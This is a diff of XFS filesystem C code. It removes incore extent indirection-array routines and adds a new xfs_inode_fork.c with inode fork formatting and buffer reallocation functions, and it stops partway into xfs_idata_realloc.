-xfs_bmbt_rec_host_t * /* pointer to found extent record */ -xfs_iext_bno_to_ext( - xfs_ifork_t *ifp, /* inode fork pointer */ - xfs_fileoff_t bno, /* block number to search for */ - xfs_extnum_t *idxp) /* index of target extent */ -{ - xfs_bmbt_rec_host_t *base; /* pointer to first extent */ - xfs_filblks_t blockcount = 0; /* number of blocks in extent */ - xfs_bmbt_rec_host_t *ep = NULL; /* pointer to target extent */ - xfs_ext_irec_t *erp = NULL; /* indirection array pointer */ - int high; /* upper boundary in search */ - xfs_extnum_t idx = 0; /* index of target extent */ - int low; /* lower boundary in search */ - xfs_extnum_t nextents; /* number of file extents */ - xfs_fileoff_t startoff = 0; /* start offset of extent */ - - nextents = ifp->if_bytes / (uint)sizeof(xfs_bmbt_rec_t); - if (nextents == 0) { - *idxp = 0; - return NULL; - } - low = 0; - if (ifp->if_flags & XFS_IFEXTIREC) { - /* Find target extent list */ - int erp_idx = 0; - erp = xfs_iext_bno_to_irec(ifp, bno, &erp_idx); - base = erp->er_extbuf; - high = erp->er_extcount - 1; - } else { - base = ifp->if_u1.if_extents; - high = nextents - 1; - } - /* Binary search extent records */ - while (low <= high) { - idx = (low + high) >> 1; - ep = base + idx; - startoff = xfs_bmbt_get_startoff(ep); - blockcount = xfs_bmbt_get_blockcount(ep); - if (bno < startoff) { - high = idx - 1; - } else if (bno >= startoff + blockcount) { - low = idx + 1; - } else { - /* Convert back to file-based extent index */ - if (ifp->if_flags & XFS_IFEXTIREC) { - idx += erp->er_extoff; - } - *idxp = idx; - return ep; - } - } - /* Convert back to file-based extent index */ - if (ifp->if_flags & XFS_IFEXTIREC) { - idx += erp->er_extoff; - } - if (bno >= startoff + blockcount) { - if (++idx == nextents) { - ep = NULL; - } else { - ep = xfs_iext_get_ext(ifp, idx); - } - } - *idxp = idx; - return ep; -} - -/* - * Return a pointer to the indirection array entry containing the - * extent record for filesystem block bno. Store the index of the - * target irec in *erp_idxp. - */ -xfs_ext_irec_t * /* pointer to found extent record */ -xfs_iext_bno_to_irec( - xfs_ifork_t *ifp, /* inode fork pointer */ - xfs_fileoff_t bno, /* block number to search for */ - int *erp_idxp) /* irec index of target ext list */ -{ - xfs_ext_irec_t *erp = NULL; /* indirection array pointer */ - xfs_ext_irec_t *erp_next; /* next indirection array entry */ - int erp_idx; /* indirection array index */ - int nlists; /* number of extent irec's (lists) */ - int high; /* binary search upper limit */ - int low; /* binary search lower limit */ - - ASSERT(ifp->if_flags & XFS_IFEXTIREC); - nlists = ifp->if_real_bytes / XFS_IEXT_BUFSZ; - erp_idx = 0; - low = 0; - high = nlists - 1; - while (low <= high) { - erp_idx = (low + high) >> 1; - erp = &ifp->if_u1.if_ext_irec[erp_idx]; - erp_next = erp_idx < nlists - 1 ? erp + 1 : NULL; - if (bno < xfs_bmbt_get_startoff(erp->er_extbuf)) { - high = erp_idx - 1; - } else if (erp_next && bno >= - xfs_bmbt_get_startoff(erp_next->er_extbuf)) { - low = erp_idx + 1; - } else { - break; - } - } - *erp_idxp = erp_idx; - return erp; -} - -/* - * Return a pointer to the indirection array entry containing the - * extent record at file extent index *idxp. Store the index of the - * target irec in *erp_idxp and store the page index of the target - * extent record in *idxp. - */ -xfs_ext_irec_t * -xfs_iext_idx_to_irec( - xfs_ifork_t *ifp, /* inode fork pointer */ - xfs_extnum_t *idxp, /* extent index (file -> page) */ - int *erp_idxp, /* pointer to target irec */ - int realloc) /* new bytes were just added */ -{ - xfs_ext_irec_t *prev; /* pointer to previous irec */ - xfs_ext_irec_t *erp = NULL; /* pointer to current irec */ - int erp_idx; /* indirection array index */ - int nlists; /* number of irec's (ex lists) */ - int high; /* binary search upper limit */ - int low; /* binary search lower limit */ - xfs_extnum_t page_idx = *idxp; /* extent index in target list */ - - ASSERT(ifp->if_flags & XFS_IFEXTIREC); - ASSERT(page_idx >= 0); - ASSERT(page_idx <= ifp->if_bytes / sizeof(xfs_bmbt_rec_t)); - ASSERT(page_idx < ifp->if_bytes / sizeof(xfs_bmbt_rec_t) || realloc); - - nlists = ifp->if_real_bytes / XFS_IEXT_BUFSZ; - erp_idx = 0; - low = 0; - high = nlists - 1; - - /* Binary search extent irec's */ - while (low <= high) { - erp_idx = (low + high) >> 1; - erp = &ifp->if_u1.if_ext_irec[erp_idx]; - prev = erp_idx > 0 ? erp - 1 : NULL; - if (page_idx < erp->er_extoff || (page_idx == erp->er_extoff && - realloc && prev && prev->er_extcount < XFS_LINEAR_EXTS)) { - high = erp_idx - 1; - } else if (page_idx > erp->er_extoff + erp->er_extcount || - (page_idx == erp->er_extoff + erp->er_extcount && - !realloc)) { - low = erp_idx + 1; - } else if (page_idx == erp->er_extoff + erp->er_extcount && - erp->er_extcount == XFS_LINEAR_EXTS) { - ASSERT(realloc); - page_idx = 0; - erp_idx++; - erp = erp_idx < nlists ? erp + 1 : NULL; - break; - } else { - page_idx -= erp->er_extoff; - break; - } - } - *idxp = page_idx; - *erp_idxp = erp_idx; - return(erp); -} - -/* - * Allocate and initialize an indirection array once the space needed - * for incore extents increases above XFS_IEXT_BUFSZ. - */ -void -xfs_iext_irec_init( - xfs_ifork_t *ifp) /* inode fork pointer */ -{ - xfs_ext_irec_t *erp; /* indirection array pointer */ - xfs_extnum_t nextents; /* number of extents in file */ - - ASSERT(!(ifp->if_flags & XFS_IFEXTIREC)); - nextents = ifp->if_bytes / (uint)sizeof(xfs_bmbt_rec_t); - ASSERT(nextents <= XFS_LINEAR_EXTS); - - erp = kmem_alloc(sizeof(xfs_ext_irec_t), KM_NOFS); - - if (nextents == 0) { - ifp->if_u1.if_extents = kmem_alloc(XFS_IEXT_BUFSZ, KM_NOFS); - } else if (!ifp->if_real_bytes) { - xfs_iext_inline_to_direct(ifp, XFS_IEXT_BUFSZ); - } else if (ifp->if_real_bytes < XFS_IEXT_BUFSZ) { - xfs_iext_realloc_direct(ifp, XFS_IEXT_BUFSZ); - } - erp->er_extbuf = ifp->if_u1.if_extents; - erp->er_extcount = nextents; - erp->er_extoff = 0; - - ifp->if_flags |= XFS_IFEXTIREC; - ifp->if_real_bytes = XFS_IEXT_BUFSZ; - ifp->if_bytes = nextents * sizeof(xfs_bmbt_rec_t); - ifp->if_u1.if_ext_irec = erp; - - return; -} - -/* - * Allocate and initialize a new entry in the indirection array. - */ -xfs_ext_irec_t * -xfs_iext_irec_new( - xfs_ifork_t *ifp, /* inode fork pointer */ - int erp_idx) /* index for new irec */ -{ - xfs_ext_irec_t *erp; /* indirection array pointer */ - int i; /* loop counter */ - int nlists; /* number of irec's (ex lists) */ - - ASSERT(ifp->if_flags & XFS_IFEXTIREC); - nlists = ifp->if_real_bytes / XFS_IEXT_BUFSZ; - - /* Resize indirection array */ - xfs_iext_realloc_indirect(ifp, ++nlists * - sizeof(xfs_ext_irec_t)); - /* - * Move records down in the array so the - * new page can use erp_idx. - */ - erp = ifp->if_u1.if_ext_irec; - for (i = nlists - 1; i > erp_idx; i--) { - memmove(&erp[i], &erp[i-1], sizeof(xfs_ext_irec_t)); - } - ASSERT(i == erp_idx); - - /* Initialize new extent record */ - erp = ifp->if_u1.if_ext_irec; - erp[erp_idx].er_extbuf = kmem_alloc(XFS_IEXT_BUFSZ, KM_NOFS); - ifp->if_real_bytes = nlists * XFS_IEXT_BUFSZ; - memset(erp[erp_idx].er_extbuf, 0, XFS_IEXT_BUFSZ); - erp[erp_idx].er_extcount = 0; - erp[erp_idx].er_extoff = erp_idx > 0 ? - erp[erp_idx-1].er_extoff + erp[erp_idx-1].er_extcount : 0; - return (&erp[erp_idx]); -} - -/* - * Remove a record from the indirection array. - */ -void -xfs_iext_irec_remove( - xfs_ifork_t *ifp, /* inode fork pointer */ - int erp_idx) /* irec index to remove */ -{ - xfs_ext_irec_t *erp; /* indirection array pointer */ - int i; /* loop counter */ - int nlists; /* number of irec's (ex lists) */ - - ASSERT(ifp->if_flags & XFS_IFEXTIREC); - nlists = ifp->if_real_bytes / XFS_IEXT_BUFSZ; - erp = &ifp->if_u1.if_ext_irec[erp_idx]; - if (erp->er_extbuf) { - xfs_iext_irec_update_extoffs(ifp, erp_idx + 1, - -erp->er_extcount); - kmem_free(erp->er_extbuf); - } - /* Compact extent records */ - erp = ifp->if_u1.if_ext_irec; - for (i = erp_idx; i < nlists - 1; i++) { - memmove(&erp[i], &erp[i+1], sizeof(xfs_ext_irec_t)); - } - /* - * Manually free the last extent record from the indirection - * array. A call to xfs_iext_realloc_indirect() with a size - * of zero would result in a call to xfs_iext_destroy() which - * would in turn call this function again, creating a nasty - * infinite loop. - */ - if (--nlists) { - xfs_iext_realloc_indirect(ifp, - nlists * sizeof(xfs_ext_irec_t)); - } else { - kmem_free(ifp->if_u1.if_ext_irec); - } - ifp->if_real_bytes = nlists * XFS_IEXT_BUFSZ; -} - -/* - * This is called to clean up large amounts of unused memory allocated - * by the indirection array. Before compacting anything though, verify - * that the indirection array is still needed and switch back to the - * linear extent list (or even the inline buffer) if possible. The - * compaction policy is as follows: - * - * Full Compaction: Extents fit into a single page (or inline buffer) - * Partial Compaction: Extents occupy less than 50% of allocated space - * No Compaction: Extents occupy at least 50% of allocated space - */ -void -xfs_iext_irec_compact( - xfs_ifork_t *ifp) /* inode fork pointer */ -{ - xfs_extnum_t nextents; /* number of extents in file */ - int nlists; /* number of irec's (ex lists) */ - - ASSERT(ifp->if_flags & XFS_IFEXTIREC); - nlists = ifp->if_real_bytes / XFS_IEXT_BUFSZ; - nextents = ifp->if_bytes / (uint)sizeof(xfs_bmbt_rec_t); - - if (nextents == 0) { - xfs_iext_destroy(ifp); - } else if (nextents <= XFS_INLINE_EXTS) { - xfs_iext_indirect_to_direct(ifp); - xfs_iext_direct_to_inline(ifp, nextents); - } else if (nextents <= XFS_LINEAR_EXTS) { - xfs_iext_indirect_to_direct(ifp); - } else if (nextents < (nlists * XFS_LINEAR_EXTS) >> 1) { - xfs_iext_irec_compact_pages(ifp); - } -} - -/* - * Combine extents from neighboring extent pages. - */ -void -xfs_iext_irec_compact_pages( - xfs_ifork_t *ifp) /* inode fork pointer */ -{ - xfs_ext_irec_t *erp, *erp_next;/* pointers to irec entries */ - int erp_idx = 0; /* indirection array index */ - int nlists; /* number of irec's (ex lists) */ - - ASSERT(ifp->if_flags & XFS_IFEXTIREC); - nlists = ifp->if_real_bytes / XFS_IEXT_BUFSZ; - while (erp_idx < nlists - 1) { - erp = &ifp->if_u1.if_ext_irec[erp_idx]; - erp_next = erp + 1; - if (erp_next->er_extcount <= - (XFS_LINEAR_EXTS - erp->er_extcount)) { - memcpy(&erp->er_extbuf[erp->er_extcount], - erp_next->er_extbuf, erp_next->er_extcount * - sizeof(xfs_bmbt_rec_t)); - erp->er_extcount += erp_next->er_extcount; - /* - * Free page before removing extent record - * so er_extoffs don't get modified in - * xfs_iext_irec_remove. - */ - kmem_free(erp_next->er_extbuf); - erp_next->er_extbuf = NULL; - xfs_iext_irec_remove(ifp, erp_idx + 1); - nlists = ifp->if_real_bytes / XFS_IEXT_BUFSZ; - } else { - erp_idx++; - } - } -} - -/* - * This is called to update the er_extoff field in the indirection - * array when extents have been added or removed from one of the - * extent lists. erp_idx contains the irec index to begin updating - * at and ext_diff contains the number of extents that were added - * or removed. - */ -void -xfs_iext_irec_update_extoffs( - xfs_ifork_t *ifp, /* inode fork pointer */ - int erp_idx, /* irec index to update */ - int ext_diff) /* number of new extents */ -{ - int i; /* loop counter */ - int nlists; /* number of irec's (ex lists */ - - ASSERT(ifp->if_flags & XFS_IFEXTIREC); - nlists = ifp->if_real_bytes / XFS_IEXT_BUFSZ; - for (i = erp_idx; i < nlists; i++) { - ifp->if_u1.if_ext_irec[i].er_extoff += ext_diff; - } -} diff --git a/libxfs/xfs_inode_fork.c b/libxfs/xfs_inode_fork.c new file mode 100644 index 0000000..1c006f9 --- /dev/null +++ b/libxfs/xfs_inode_fork.c @@ -0,0 +1,1890 @@ +/* + * Copyright (c) 2000-2006 Silicon Graphics, Inc. + * All Rights Reserved. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as + * published by the Free Software Foundation. + * + * This program is distributed in the hope that it would be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write the Free Software Foundation, + * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + */ +#include + +kmem_zone_t *xfs_ifork_zone; + +STATIC int xfs_iformat_local(xfs_inode_t *, xfs_dinode_t *, int, int); +STATIC int xfs_iformat_extents(xfs_inode_t *, xfs_dinode_t *, int); +STATIC int xfs_iformat_btree(xfs_inode_t *, xfs_dinode_t *, int); + +#ifdef DEBUG +/* + * Make sure that the extents in the given memory buffer + * are valid. + */ +void +xfs_validate_extents( + xfs_ifork_t *ifp, + int nrecs, + xfs_exntfmt_t fmt) +{ + xfs_bmbt_irec_t irec; + xfs_bmbt_rec_host_t rec; + int i; + + for (i = 0; i < nrecs; i++) { + xfs_bmbt_rec_host_t *ep = xfs_iext_get_ext(ifp, i); + rec.l0 = get_unaligned(&ep->l0); + rec.l1 = get_unaligned(&ep->l1); + xfs_bmbt_get_all(&rec, &irec); + if (fmt == XFS_EXTFMT_NOSTATE) + ASSERT(irec.br_state == XFS_EXT_NORM); + } +} +#else /* DEBUG */ +#define xfs_validate_extents(ifp, nrecs, fmt) +#endif /* DEBUG */ + + +/* + * Move inode type and inode format specific information from the + * on-disk inode to the in-core inode. For fifos, devs, and sockets + * this means set if_rdev to the proper value. For files, directories, + * and symlinks this means to bring in the in-line data or extent + * pointers. For a file in B-tree format, only the root is immediately + * brought in-core. The rest will be in-lined in if_extents when it + * is first referenced (see xfs_iread_extents()). + */ +int +xfs_iformat_fork( + xfs_inode_t *ip, + xfs_dinode_t *dip) +{ + xfs_attr_shortform_t *atp; + int size; + int error = 0; + xfs_fsize_t di_size; + + if (unlikely(be32_to_cpu(dip->di_nextents) + + be16_to_cpu(dip->di_anextents) > + be64_to_cpu(dip->di_nblocks))) { + xfs_warn(ip->i_mount, + "corrupt dinode %Lu, extent total = %d, nblocks = %Lu.", + (unsigned long long)ip->i_ino, + (int)(be32_to_cpu(dip->di_nextents) + + be16_to_cpu(dip->di_anextents)), + (unsigned long long) + be64_to_cpu(dip->di_nblocks)); + XFS_CORRUPTION_ERROR("xfs_iformat(1)", XFS_ERRLEVEL_LOW, + ip->i_mount, dip); + return XFS_ERROR(EFSCORRUPTED); + } + + if (unlikely(dip->di_forkoff > ip->i_mount->m_sb.sb_inodesize)) { + xfs_warn(ip->i_mount, "corrupt dinode %Lu, forkoff = 0x%x.", + (unsigned long long)ip->i_ino, + dip->di_forkoff); + XFS_CORRUPTION_ERROR("xfs_iformat(2)", XFS_ERRLEVEL_LOW, + ip->i_mount, dip); + return XFS_ERROR(EFSCORRUPTED); + } + + if (unlikely((ip->i_d.di_flags & XFS_DIFLAG_REALTIME) && + !ip->i_mount->m_rtdev_targp)) { + xfs_warn(ip->i_mount, + "corrupt dinode %Lu, has realtime flag set.", + ip->i_ino); + XFS_CORRUPTION_ERROR("xfs_iformat(realtime)", + XFS_ERRLEVEL_LOW, ip->i_mount, dip); + return XFS_ERROR(EFSCORRUPTED); + } + + switch (ip->i_d.di_mode & S_IFMT) { + case S_IFIFO: + case S_IFCHR: + case S_IFBLK: + case S_IFSOCK: + if (unlikely(dip->di_format != XFS_DINODE_FMT_DEV)) { + XFS_CORRUPTION_ERROR("xfs_iformat(3)", XFS_ERRLEVEL_LOW, + ip->i_mount, dip); + return XFS_ERROR(EFSCORRUPTED); + } + ip->i_d.di_size = 0; + ip->i_df.if_u2.if_rdev = xfs_dinode_get_rdev(dip); + break; + + case S_IFREG: + case S_IFLNK: + case S_IFDIR: + switch (dip->di_format) { + case XFS_DINODE_FMT_LOCAL: + /* + * no local regular files yet + */ + if (unlikely(S_ISREG(be16_to_cpu(dip->di_mode)))) { + xfs_warn(ip->i_mount, + "corrupt inode %Lu (local format for regular file).", + (unsigned long long) ip->i_ino); + XFS_CORRUPTION_ERROR("xfs_iformat(4)", + XFS_ERRLEVEL_LOW, + ip->i_mount, dip); + return XFS_ERROR(EFSCORRUPTED); + } + + di_size = be64_to_cpu(dip->di_size); + if (unlikely(di_size > XFS_DFORK_DSIZE(dip, ip->i_mount))) { + xfs_warn(ip->i_mount, + "corrupt inode %Lu (bad size %Ld for local inode).", + (unsigned long long) ip->i_ino, + (long long) di_size); + XFS_CORRUPTION_ERROR("xfs_iformat(5)", + XFS_ERRLEVEL_LOW, + ip->i_mount, dip); + return XFS_ERROR(EFSCORRUPTED); + } + + size = (int)di_size; + error = xfs_iformat_local(ip, dip, XFS_DATA_FORK, size); + break; + case XFS_DINODE_FMT_EXTENTS: + error = xfs_iformat_extents(ip, dip, XFS_DATA_FORK); + break; + case XFS_DINODE_FMT_BTREE: + error = xfs_iformat_btree(ip, dip, XFS_DATA_FORK); + break; + default: + XFS_ERROR_REPORT("xfs_iformat(6)", XFS_ERRLEVEL_LOW, + ip->i_mount); + return XFS_ERROR(EFSCORRUPTED); + } + break; + + default: + XFS_ERROR_REPORT("xfs_iformat(7)", XFS_ERRLEVEL_LOW, ip->i_mount); + return XFS_ERROR(EFSCORRUPTED); + } + if (error) { + return error; + } + if (!XFS_DFORK_Q(dip)) + return 0; + + ASSERT(ip->i_afp == NULL); + ip->i_afp = kmem_zone_zalloc(xfs_ifork_zone, KM_SLEEP | KM_NOFS); + + switch (dip->di_aformat) { + case XFS_DINODE_FMT_LOCAL: + atp = (xfs_attr_shortform_t *)XFS_DFORK_APTR(dip); + size = be16_to_cpu(atp->hdr.totsize); + + if (unlikely(size < sizeof(struct xfs_attr_sf_hdr))) { + xfs_warn(ip->i_mount, + "corrupt inode %Lu (bad attr fork size %Ld).", + (unsigned long long) ip->i_ino, + (long long) size); + XFS_CORRUPTION_ERROR("xfs_iformat(8)", + XFS_ERRLEVEL_LOW, + ip->i_mount, dip); + return XFS_ERROR(EFSCORRUPTED); + } + + error = xfs_iformat_local(ip, dip, XFS_ATTR_FORK, size); + break; + case XFS_DINODE_FMT_EXTENTS: + error = xfs_iformat_extents(ip, dip, XFS_ATTR_FORK); + break; + case XFS_DINODE_FMT_BTREE: + error = xfs_iformat_btree(ip, dip, XFS_ATTR_FORK); + break; + default: + error = XFS_ERROR(EFSCORRUPTED); + break; + } + if (error) { + kmem_zone_free(xfs_ifork_zone, ip->i_afp); + ip->i_afp = NULL; + xfs_idestroy_fork(ip, XFS_DATA_FORK); + } + return error; +} + +/* + * The file is in-lined in the on-disk inode. + * If it fits into if_inline_data, then copy + * it there, otherwise allocate a buffer for it + * and copy the data there. Either way, set + * if_data to point at the data. + * If we allocate a buffer for the data, make + * sure that its size is a multiple of 4 and + * record the real size in i_real_bytes. + */ +STATIC int +xfs_iformat_local( + xfs_inode_t *ip, + xfs_dinode_t *dip, + int whichfork, + int size) +{ + xfs_ifork_t *ifp; + int real_size; + + /* + * If the size is unreasonable, then something + * is wrong and we just bail out rather than crash in + * kmem_alloc() or memcpy() below. + */ + if (unlikely(size > XFS_DFORK_SIZE(dip, ip->i_mount, whichfork))) { + xfs_warn(ip->i_mount, + "corrupt inode %Lu (bad size %d for local fork, size = %d).", + (unsigned long long) ip->i_ino, size, + XFS_DFORK_SIZE(dip, ip->i_mount, whichfork)); + XFS_CORRUPTION_ERROR("xfs_iformat_local", XFS_ERRLEVEL_LOW, + ip->i_mount, dip); + return XFS_ERROR(EFSCORRUPTED); + } + ifp = XFS_IFORK_PTR(ip, whichfork); + real_size = 0; + if (size == 0) + ifp->if_u1.if_data = NULL; + else if (size <= sizeof(ifp->if_u2.if_inline_data)) + ifp->if_u1.if_data = ifp->if_u2.if_inline_data; + else { + real_size = roundup(size, 4); + ifp->if_u1.if_data = kmem_alloc(real_size, KM_SLEEP | KM_NOFS); + } + ifp->if_bytes = size; + ifp->if_real_bytes = real_size; + if (size) + memcpy(ifp->if_u1.if_data, XFS_DFORK_PTR(dip, whichfork), size); + ifp->if_flags &= ~XFS_IFEXTENTS; + ifp->if_flags |= XFS_IFINLINE; + return 0; +} + +/* + * The file consists of a set of extents all + * of which fit into the on-disk inode. + * If there are few enough extents to fit into + * the if_inline_ext, then copy them there. + * Otherwise allocate a buffer for them and copy + * them into it. Either way, set if_extents + * to point at the extents. + */ +STATIC int +xfs_iformat_extents( + xfs_inode_t *ip, + xfs_dinode_t *dip, + int whichfork) +{ + xfs_bmbt_rec_t *dp; + xfs_ifork_t *ifp; + int nex; + int size; + int i; + + ifp = XFS_IFORK_PTR(ip, whichfork); + nex = XFS_DFORK_NEXTENTS(dip, whichfork); + size = nex * (uint)sizeof(xfs_bmbt_rec_t); + + /* + * If the number of extents is unreasonable, then something + * is wrong and we just bail out rather than crash in + * kmem_alloc() or memcpy() below. + */ + if (unlikely(size < 0 || size > XFS_DFORK_SIZE(dip, ip->i_mount, whichfork))) { + xfs_warn(ip->i_mount, "corrupt inode %Lu ((a)extents = %d).", + (unsigned long long) ip->i_ino, nex); + XFS_CORRUPTION_ERROR("xfs_iformat_extents(1)", XFS_ERRLEVEL_LOW, + ip->i_mount, dip); + return XFS_ERROR(EFSCORRUPTED); + } + + ifp->if_real_bytes = 0; + if (nex == 0) + ifp->if_u1.if_extents = NULL; + else if (nex <= XFS_INLINE_EXTS) + ifp->if_u1.if_extents = ifp->if_u2.if_inline_ext; + else + xfs_iext_add(ifp, 0, nex); + + ifp->if_bytes = size; + if (size) { + dp = (xfs_bmbt_rec_t *) XFS_DFORK_PTR(dip, whichfork); + xfs_validate_extents(ifp, nex, XFS_EXTFMT_INODE(ip)); + for (i = 0; i < nex; i++, dp++) { + xfs_bmbt_rec_host_t *ep = xfs_iext_get_ext(ifp, i); + ep->l0 = get_unaligned_be64(&dp->l0); + ep->l1 = get_unaligned_be64(&dp->l1); + } + XFS_BMAP_TRACE_EXLIST(ip, nex, whichfork); + if (whichfork != XFS_DATA_FORK || + XFS_EXTFMT_INODE(ip) == XFS_EXTFMT_NOSTATE) + if (unlikely(xfs_check_nostate_extents( + ifp, 0, nex))) { + XFS_ERROR_REPORT("xfs_iformat_extents(2)", + XFS_ERRLEVEL_LOW, + ip->i_mount); + return XFS_ERROR(EFSCORRUPTED); + } + } + ifp->if_flags |= XFS_IFEXTENTS; + return 0; +} + +/* + * The file has too many extents to fit into + * the inode, so they are in B-tree format. + * Allocate a buffer for the root of the B-tree + * and copy the root into it. The i_extents + * field will remain NULL until all of the + * extents are read in (when they are needed). + */ +STATIC int +xfs_iformat_btree( + xfs_inode_t *ip, + xfs_dinode_t *dip, + int whichfork) +{ + struct xfs_mount *mp = ip->i_mount; + xfs_bmdr_block_t *dfp; + xfs_ifork_t *ifp; + /* REFERENCED */ + int nrecs; + int size; + + ifp = XFS_IFORK_PTR(ip, whichfork); + dfp = (xfs_bmdr_block_t *)XFS_DFORK_PTR(dip, whichfork); + size = XFS_BMAP_BROOT_SPACE(mp, dfp); + nrecs = be16_to_cpu(dfp->bb_numrecs); + + /* + * blow out if -- fork has less extents than can fit in + * fork (fork shouldn't be a btree format), root btree + * block has more records than can fit into the fork, + * or the number of extents is greater than the number of + * blocks. + */ + if (unlikely(XFS_IFORK_NEXTENTS(ip, whichfork) <= + XFS_IFORK_MAXEXT(ip, whichfork) || + XFS_BMDR_SPACE_CALC(nrecs) > + XFS_DFORK_SIZE(dip, mp, whichfork) || + XFS_IFORK_NEXTENTS(ip, whichfork) > ip->i_d.di_nblocks)) { + xfs_warn(mp, "corrupt inode %Lu (btree).", + (unsigned long long) ip->i_ino); + XFS_CORRUPTION_ERROR("xfs_iformat_btree", XFS_ERRLEVEL_LOW, + mp, dip); + return XFS_ERROR(EFSCORRUPTED); + } + + ifp->if_broot_bytes = size; + ifp->if_broot = kmem_alloc(size, KM_SLEEP | KM_NOFS); + ASSERT(ifp->if_broot != NULL); + /* + * Copy and convert from the on-disk structure + * to the in-memory structure. + */ + xfs_bmdr_to_bmbt(ip, dfp, XFS_DFORK_SIZE(dip, ip->i_mount, whichfork), + ifp->if_broot, size); + ifp->if_flags &= ~XFS_IFEXTENTS; + ifp->if_flags |= XFS_IFBROOT; + + return 0; +} + +/* + * Read in extents from a btree-format inode. + * Allocate and fill in if_extents. Real work is done in xfs_bmap.c. + */ +int +xfs_iread_extents( + xfs_trans_t *tp, + xfs_inode_t *ip, + int whichfork) +{ + int error; + xfs_ifork_t *ifp; + xfs_extnum_t nextents; + + if (unlikely(XFS_IFORK_FORMAT(ip, whichfork) != XFS_DINODE_FMT_BTREE)) { + XFS_ERROR_REPORT("xfs_iread_extents", XFS_ERRLEVEL_LOW, + ip->i_mount); + return XFS_ERROR(EFSCORRUPTED); + } + nextents = XFS_IFORK_NEXTENTS(ip, whichfork); + ifp = XFS_IFORK_PTR(ip, whichfork); + + /* + * We know that the size is valid (it's checked in iformat_btree) + */ + ifp->if_bytes = ifp->if_real_bytes = 0; + ifp->if_flags |= XFS_IFEXTENTS; + xfs_iext_add(ifp, 0, nextents); + error = xfs_bmap_read_extents(tp, ip, whichfork); + if (error) { + xfs_iext_destroy(ifp); + ifp->if_flags &= ~XFS_IFEXTENTS; + return error; + } + xfs_validate_extents(ifp, nextents, XFS_EXTFMT_INODE(ip)); + return 0; +} +/* + * Reallocate the space for if_broot based on the number of records + * being added or deleted as indicated in rec_diff. Move the records + * and pointers in if_broot to fit the new size. When shrinking this + * will eliminate holes between the records and pointers created by + * the caller. When growing this will create holes to be filled in + * by the caller. + * + * The caller must not request to add more records than would fit in + * the on-disk inode root. If the if_broot is currently NULL, then + * if we adding records one will be allocated. The caller must also + * not request that the number of records go below zero, although + * it can go to zero. + * + * ip -- the inode whose if_broot area is changing + * ext_diff -- the change in the number of records, positive or negative, + * requested for the if_broot array. + */ +void +xfs_iroot_realloc( + xfs_inode_t *ip, + int rec_diff, + int whichfork) +{ + struct xfs_mount *mp = ip->i_mount; + int cur_max; + xfs_ifork_t *ifp; + struct xfs_btree_block *new_broot; + int new_max; + size_t new_size; + char *np; + char *op; + + /* + * Handle the degenerate case quietly. + */ + if (rec_diff == 0) { + return; + } + + ifp = XFS_IFORK_PTR(ip, whichfork); + if (rec_diff > 0) { + /* + * If there wasn't any memory allocated before, just + * allocate it now and get out. + */ + if (ifp->if_broot_bytes == 0) { + new_size = XFS_BMAP_BROOT_SPACE_CALC(mp, rec_diff); + ifp->if_broot = kmem_alloc(new_size, KM_SLEEP | KM_NOFS); + ifp->if_broot_bytes = (int)new_size; + return; + } + + /* + * If there is already an existing if_broot, then we need + * to realloc() it and shift the pointers to their new + * location. The records don't change location because + * they are kept butted up against the btree block header. + */ + cur_max = xfs_bmbt_maxrecs(mp, ifp->if_broot_bytes, 0); + new_max = cur_max + rec_diff; + new_size = XFS_BMAP_BROOT_SPACE_CALC(mp, new_max); + ifp->if_broot = kmem_realloc(ifp->if_broot, new_size, + XFS_BMAP_BROOT_SPACE_CALC(mp, cur_max), + KM_SLEEP | KM_NOFS); + op = (char *)XFS_BMAP_BROOT_PTR_ADDR(mp, ifp->if_broot, 1, + ifp->if_broot_bytes); + np = (char *)XFS_BMAP_BROOT_PTR_ADDR(mp, ifp->if_broot, 1, + (int)new_size); + ifp->if_broot_bytes = (int)new_size; + ASSERT(XFS_BMAP_BMDR_SPACE(ifp->if_broot) <= + XFS_IFORK_SIZE(ip, whichfork)); + memmove(np, op, cur_max * (uint)sizeof(xfs_dfsbno_t)); + return; + } + + /* + * rec_diff is less than 0. In this case, we are shrinking the + * if_broot buffer. It must already exist. If we go to zero + * records, just get rid of the root and clear the status bit. + */ + ASSERT((ifp->if_broot != NULL) && (ifp->if_broot_bytes > 0)); + cur_max = xfs_bmbt_maxrecs(mp, ifp->if_broot_bytes, 0); + new_max = cur_max + rec_diff; + ASSERT(new_max >= 0); + if (new_max > 0) + new_size = XFS_BMAP_BROOT_SPACE_CALC(mp, new_max); + else + new_size = 0; + if (new_size > 0) { + new_broot = kmem_alloc(new_size, KM_SLEEP | KM_NOFS); + /* + * First copy over the btree block header. + */ + memcpy(new_broot, ifp->if_broot, + XFS_BMBT_BLOCK_LEN(ip->i_mount)); + } else { + new_broot = NULL; + ifp->if_flags &= ~XFS_IFBROOT; + } + + /* + * Only copy the records and pointers if there are any. + */ + if (new_max > 0) { + /* + * First copy the records. + */ + op = (char *)XFS_BMBT_REC_ADDR(mp, ifp->if_broot, 1); + np = (char *)XFS_BMBT_REC_ADDR(mp, new_broot, 1); + memcpy(np, op, new_max * (uint)sizeof(xfs_bmbt_rec_t)); + + /* + * Then copy the pointers. + */ + op = (char *)XFS_BMAP_BROOT_PTR_ADDR(mp, ifp->if_broot, 1, + ifp->if_broot_bytes); + np = (char *)XFS_BMAP_BROOT_PTR_ADDR(mp, new_broot, 1, + (int)new_size); + memcpy(np, op, new_max * (uint)sizeof(xfs_dfsbno_t)); + } + kmem_free(ifp->if_broot); + ifp->if_broot = new_broot; + ifp->if_broot_bytes = (int)new_size; + if (ifp->if_broot) + ASSERT(XFS_BMAP_BMDR_SPACE(ifp->if_broot) <= + XFS_IFORK_SIZE(ip, whichfork)); + return; +} + + +/* + * This is called when the amount of space needed for if_data + * is increased or decreased. The change in size is indicated by + * the number of bytes that need to be added or deleted in the + * byte_diff parameter. + * + * If the amount of space needed has decreased below the size of the + * inline buffer, then switch to using the inline buffer. Otherwise, + * use kmem_realloc() or kmem_alloc() to adjust the size of the buffer + * to what is needed. + * + * ip -- the inode whose if_data area is changing + * byte_diff -- the change in the number of bytes, positive or negative, + * requested for the if_data array. + */ +void +xfs_idata_realloc( + xfs_inode_t *ip, + int byte_diff, + int whichfork) +{ + 